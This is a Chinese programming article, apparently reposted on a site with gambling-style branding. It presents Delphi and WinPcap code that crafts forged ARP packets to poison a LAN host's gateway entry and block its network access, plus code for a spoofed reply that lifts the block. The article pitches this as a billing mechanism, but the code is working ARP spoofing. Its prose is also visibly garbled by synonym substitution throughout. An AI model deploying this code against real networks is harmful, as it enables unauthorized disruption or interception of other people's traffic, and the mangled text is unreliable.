j9国际站|(官网)点击登录

新疆j9九游会

本站首页 j9九游会 乐成案例 公司新闻 公司简介 客服中心 软件技能 网站建立
  您如今的地位: 新疆二域j9九游会公司 >> 开辟言语 >> 文章注释

delphi完成使用arp诈骗来完成计费功效

  
     前段工夫接到一个项目,该项目要求在局域网内的任何一台盘算机上安置一套计费软件,其他的客户端不必安置任何软件,只需客户拔出网线就可以计费。曩昔打仗到的计费软件都是安置在网打开的,要么便是要安置客户端软件,怎样完成如许的功效呢?研讨了一下,发明用arp诈骗的原理可以完成计费的功效,原理是在未守旧上彀功效的客户端拔出网线后,先克制局域网内的该盘算机上彀,等该客户端要求办理员守旧上彀功效后再排除对该客户真个制止并开端计费。arp诈骗信赖各人的都不生疏,网上有很多多少介绍arp诈骗的文章,也有很多多少arp诈骗的病毒,在这里就不再反复arp诈骗的原理了。

      怎样制止局域网指定的客户端上彀呢?
用伪造的arp的哀求包革新要制止呆板的arp表,使之以为网关的mac地点为一个不存在的mac地点,如许的话就可以制止该呆板上彀了。

假定要制止的盘算机是A,安置计费软件的盘算机是B,网关是C

A呆板  MAC:AA-AA-AA-AA-AA-AA  IP>###

B呆板  MAC:BB-BB-BB-BB-BB-BB  IP>###

C网关  MAC:CC-CC-CC-CC-CC-CC  IP>###


在网上有很多多少arp例子都是c的,我用delphi和Winpcap完成代码如下:
 
安置Winpcap,援用:winsock,Packet32,shellapi单位

范例和常量界说:
type
  TMacAddr = array [0..5] of byte ;
  TEHHDR=packed record
     Ether_Dest: TMacAddr ;  {目标地点 }
     Ether_Src: TMacAddr ;   {源地点 }
     Ether_Type:Word;        {范例 }
  end;
  PEHHDR=^TEHHDR;
  TEtherData=packed record      {Ethernet packet data}
   Ether_hrd:WORD;       {hardware address }
   Ether_pro:WORD; {format of protocol address }
   Ether_hln: byte; {byte length of each hardware address }
   Ether_pln: byte; {byte length of each protocol address}
    Ether_op:WORD; { ARP or RARP }
     Ether_sha:TMacAddr; {hardware address of sender}
     Ether_spa:LongWord; {protocol address of sender}
     Ether_tha:TMacAddr; {hardware address of target}
     Ether_tpa:LongWord;   {protocol address of target}
  end;
  PARPHDR=^TEtherData;

  TARPPACKET=packed record
      EHHDR:Tehhdr;
      EtherData:TEtherData;
   end ;
 PARPPACKET=^TARPPACKET;

const
 INADDR_NONE = $FFFFFFFF;
 EPT_IP  = $0800;
 EPT_ARP = $0806 ;
 EPT_RARP =$8035 ;
 ARP_REPLY =$0002 ;
 ARP_REQUEST =  $0001 ;
 ARP_HARDWARE =$0001 ; 

 function inet_addr(const cp: PChar): DWord; stdcall; external 'WS2_32.DLL' name 'inet_addr';

//他人的代码
function     HexStrtoInt(var   Buf:   string):   dword;
  //将十六进制的字符串转成整型
      //判别能否是十六进制数
      function   IsHexChar(Chr:   char):   boolean;
      begin
          Result   :=   (Chr   in   ['0'..'9'])   or   (Chr   in   ['A'..'F']);
      end;
      //将一个十六进制字符转换成数
      function   HexChrtoInt(Chr:   char):   byte;
      begin
          Result   :=   0;
          case   Chr   of
              '0'..'9'   :   Result   :=   Strtoint(Chr);
              'A'             :   Result   :=   10;
              'B'             :   Result   :=   11;
              'C'             :   Result   :=   12;
              'D'             :   Result   :=   13;
              'E'             :   Result   :=   14;
              'F'             :   Result   :=   15;
          end;
      end;
  var
      BufLength:   dword;
      TempBuf:   string;  
      Count0:   dword;  
  begin
      Result   :=   0;  
      BufLength   :=   Length(Buf);
      TempBuf   :=   '';  
      if   BufLength   >   0   then   begin
          Buf   :=   Uppercase(Buf);  
  //         for   Count0   :=   1   to   BufLength  
          if   BufLength   mod   2   =   1   then   begin  
              Buf   :=   '0'   +   Buf;  
              BufLength   :=   Length(Buf);
          end;
          for   Count0   :=   1   to   BufLength   div   2   do  
              if   IsHexChar(Buf[Count0   *   2   -   1])   then   begin  
                  if   IsHexChar(Buf[Count0   *   2])   then   begin  
                      TempBuf   :=   TempBuf   +   inttostr(HexChrtoInt(Buf[Count0   *   2   -   1])

  *   16   +   HexChrtoInt(Buf[Count0   *   2]));
                  end   else   begin
                      Result   :=   Count0   *   2;  
                      Break;  
                  end;  
              end   else   begin
                  Result   :=   Count0   *   2   -   1;  
                  Break;  
              end;
          if   Result   =   0   then   Buf   :=   TempBuf;
      end;
  end;

//MAC转换
procedure GetMac(s : string;var Mac : TMacAddr);

  var
  hs : string;
  p : integer;
  i,j:integer;

begin
 FillChar (Mac, SizeOf (Mac), 0) ;

  i:=0;
  if Length(s)=0 then
    Exit;
  p:=Pos('-',s);
  while P<>0 do
  begin
    hs:=Copy(s,1,p-1);
    HexStrtoInt(hs);
    Mac[i]:=  strtoint(hs) ;
    Delete(s,1,p);
    p:=Pos('-',s);
    i:=i+1;
  end;
  if Length(s)>0 then
  begin
     HexStrtoInt(s);
     Mac[i]:=strtoint(s);
  end;
end;

 

{克制上彀,发送arp哀求包,这里的C_mac为伪造的C的mac地点}
procedure SendArp(A_ip:string;A_mac:string;B_ip:string;B_mac:string;C_IP:string;C_mac:string);
var
ulMACAddr: TMacAddr;
EHHDR:TEHHDR;
EtherData:TEtherData;
pp:pPacket;
lpAdapter:Padapter;
BUF:Array [0..512] of char ;

begin
    //以太网包首部
    GetMac(A_mac,ulMACAddr);
    Move(ulMACAddr , EHHDR.Ether_Dest,6);//目标地点-A盘算机的地点
    GetMac(C_mac,ulMACAddr);
    Move(ulMACAddr , EHHDR.Ether_Src,6);//伪造的源地点-C盘算机的地点
    EHHDR.Ether_Type  := htons(EPT_ARP);//arp包
   
    //结构以太网包数据
    EtherData.Ether_hrd := htons(ARP_HARDWARE);
    EtherData.Ether_pro := htons(EPT_IP);
    EtherData.Ether_hln := 6;
    EtherData.Ether_pln := 4;
    EtherData.Ether_op  := htons(ARP_REQUEST);//arp哀求包
    GetMac(C_mac,ulMACAddr);
    Move(ulMACAddr , EtherData.Ether_sha,6);
    EtherData.Ether_spa := inet_addr(Pchar(B_IP)); 
    GetMac(B_mac,ulMACAddr);
    Move(ulMACAddr , EtherData.Ether_tha,6);
    EtherData.Ether_tpa := inet_addr(Pchar(B_ip)); 


     lpAdapter := PacketOpenAdapter('\Device\NPF_{E00872C1-37C0-47CE-8472-313A5A23F896}');  // 依据

你网卡名字翻开网卡,这是我网卡的设置装备摆设名
     fillchar(BUF,sizeof(BUF),0);

     CopyMemory(@BUF,@EHHDR,SIZEOF(EHHDR));
     CopyMemory(Pointer(LongWord(@BUF)+SIZEOF(EHHDR)),@EtherData,SIZEOF(EtherData));
       // 分派内存
     pp := PacketAllocatePacket();            

     //初始化布局指针
     PacketInitPacket(pp, @BUF,512);
     //发arp应对包
     PacketSendPacket(lpAdapter, pp, true);
    
     // 开释内存
     PacketFreePacket(pp);
     PacketCloseAdapter(lpAdapter);

end;

//挪用示例
###,'AA-AA-AA-AA-AA-AA','192.168.1.2','BB-BB-BB-BB-BB-BB','192.168.1.253','00-00-00-00-00-00');


{排除制止,发送arp应对包,这里的C_mac为真实的C的mac地点}
procedure SendArpReply(A_ip:string;A_mac:string;C_ip:string;C_mac:string;B_mac:string);
var
ulMACAddr: TMacAddr;
EHHDR:TEHHDR;
EtherData:TEtherData;
pp:pPacket;
lpAdapter:Padapter;
BUF:Array [0..512] of char ;

begin
    GetMac(A_mac,ulMACAddr);
    Move(ulMACAddr , EHHDR.Ether_Dest,6);
    GetMac(B_mac,ulMACAddr);
    Move(ulMACAddr , EHHDR.Ether_Src,6);
    EHHDR.Ether_Type  := htons(EPT_ARP);
    EtherData.Ether_hrd := htons(ARP_HARDWARE);
    EtherData.Ether_pro := htons(EPT_IP);
    EtherData.Ether_hln := 6;
    EtherData.Ether_pln := 4;
    EtherData.Ether_op  := htons(ARP_REPLY);//arp应对包
    GetMac(C_mac,ulMACAddr);
    Move(ulMACAddr , EtherData.Ether_sha,6);
    EtherData.Ether_spa := inet_addr(Pchar(C_ip));  
    GetMac(A_mac,ulMACAddr);
    Move(ulMACAddr , EtherData.Ether_tha,6);
    EtherData.Ether_tpa := inet_addr(Pchar(A_ip)); 

     // 依据本人网卡的设置装备摆设名翻开网卡
     lpAdapter := PacketOpenAdapter('\Device\NPF_{E00872C1-37C0-47CE-8472-313A5A23F896}');
   
     fillchar(BUF,sizeof(BUF),0);
     CopyMemory(@BUF,@EHHDR,SIZEOF(EHHDR));
     CopyMemory(Pointer(LongWord(@BUF)+SIZEOF(EHHDR)),@EtherData,SIZEOF(EtherData));

     // 分派内存
     pp := PacketAllocatePacket();            

     //初始化布局指针
     PacketInitPacket(pp, @BUF,512);
     //发arp应对包
     PacketSendPacket(lpAdapter, pp, true);
    
     // 开释内存
     PacketFreePacket(pp);
     PacketCloseAdapter(lpAdapter);
end;

//挪用示例
 SendArpReply('192.168.1.1','AA-AA-AA-AA-AA-AA','192.168.1.253','CC-CC-CC-CC-CC-CC','BB-BB-BB-BB-BB-BB');

必要留意的是,收回伪造的arp哀求包过一段工夫后会被革新为准确的,以是每隔一段工夫要向被制止的呆板发送一个arp包,如许才干到达制止上彀的目标。

 本文泉源于 新疆二域j9九游会网    转载请注明来由

作者:xjzcg | 文章泉源:本站原创 | 更新>###5:14

  • 上一篇文章:

  • 下一篇文章:

  • 相干文章:
    一个delphi开辟托盘步伐的例子
    理解delphi历程范例/历程范例学习
    BLOB是怎样利用的
    GB/Unicode/utf-8之间的转换
    delphi利用武艺大全
    在桌面中嵌入窗体
    软件技能
    · 开辟言语
    · Java技能
    · .Net技能
    · 数据库开辟
    最新文章  
    ·搜集整理的asp.net的验证方
    ·种种FOR循环布局的整理
    ·软件项目开辟中应该思索那
    ·搜集整理的javascript sel
    ·j9九游会中项目司理有那些
    ·学习怎样在Lambda表达式进
    ·C++底子知识:布局体数据的
    ·C#完成短信发送步伐的例子
    ·sun近来修补了一局部java的
    ·rss定制的别的一种完成方法
    ·delphi完成使用arp诈骗来实
    ·底子学习:基于WF的流程框
    ·网络编程中怎样得知一次数
    ·怎样逆序输入单链表?
    ·j9九游会历程中的功能设计
    关于j9九游会 | j9九游会 | 下载试用 | 客服中心 | 联系j9九游会 | 相关单位 | 网站舆图 | 新疆电子舆图 | RSS订阅
    版权一切 © 2016 新疆二域j9九游会网 www.k8w.net All Rights Reserved
    新疆j9九游会>###、4811639.
    ### ;>###华联大厦A-5C 邮编:830000